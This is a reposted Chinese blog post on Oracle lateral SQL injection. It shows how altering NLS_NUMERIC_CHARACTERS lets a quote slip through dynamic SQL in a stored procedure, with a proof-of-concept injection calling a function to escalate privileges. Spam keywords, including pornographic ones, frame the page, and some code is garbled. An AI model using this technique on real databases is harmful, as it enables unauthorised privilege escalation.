国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > Oracle > 正文

ORACLE LATERAL-SQL-INJECTION 個人見解

2024-08-29 13:56:35
字體:
來源:轉載
供稿:網友
如果直接執行SQL語句或者參數綁定則不用擔心太多,
如以下ORACLE存儲過程
create or replace procedure kjdatepoc(date d)

as

begin

insert into kjdatetable values(d);

commit;

end;

根本不需要擔心遭受到SQL新型注入攻擊,那么在什么地方會發生DATE 以及 NUMBER的注入攻擊呢!?一般都是采用了動態SQL而又不采用參數綁定的語句。

例如工程師經常用的DBMS_SQL或者EXECUTE IMMEDIATE

看以下存儲過程

create or replace procedure kjdatepoc(date d)

as

begin

execute immediate ‘insert into kjdatetable values('|| d ||')';

commit;

end;

那么遇到以上的存儲過程或者函數等,也通過修改SESSION中的NLS_DATE_FORMAT中的值達到SQL注射的目的,

老外的PAPER講解得非常詳細了 ,我在這里也不廢話。

惟獨對于 NUMBER類型的注射沒有多作講解 只是簡單演示了可以輸出單引號!

看以下語句

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;

輸出一下結果

1000′10001

只是多了一個單引號,那有什么用呢?樂觀的來說!在特定情況下是很有價值的!看以下一個存儲過程

create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)

is

SecStr varchar2(1000);

begin

SecStr:=replace(kjexpstr,””,”””);

sys.dbms_output.put_line('SELECT * FROM DUAL WHERE and name=”'||SecStr||””);

end;

內部對varchar類型進行替換了!我們可以進行測試

begin

numinjpoc(1000,”'–');

end;

其輸出SQL語句為

SELECT * FROM DUAL WHERE ID=1000 and name=”'–'

單引號被轉義掉了

那么如果我們結合這個NUMBER類型怎么進行注射呢?

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

begin

numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');

end;

看看輸出結果

SELECT * FROM DUAL WHERE||kj.exp()–'

這樣就可以間接的攻擊它…

在某中程度才來需要ALTER SESSION 配合后,再去攻擊系統內部的一些函數或者過程來提升權限。未嘗不是一種好的突破思路,但是對于單語句進行SQL注射攻擊,以結果為向導的話!這樣的方式沒多大作為。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 成武县| 沙雅县| 屯门区| 建昌县| 扎赉特旗| 三亚市| 聂拉木县| 耒阳市| 门源| 北票市| 长治县| 闽清县| 永春县| 额敏县| 肃北| 邳州市| 五峰| 三门峡市| 灵武市| 封开县| 巩留县| 大荔县| 鱼台县| 高阳县| 白玉县| 社会| 调兵山市| 巩义市| 宁海县| 苍梧县| 全州县| 海阳市| 上栗县| 阿巴嘎旗| 宁阳县| 张家川| 鄂温| 新龙县| 临武县| 鄂伦春自治旗| 东莞市|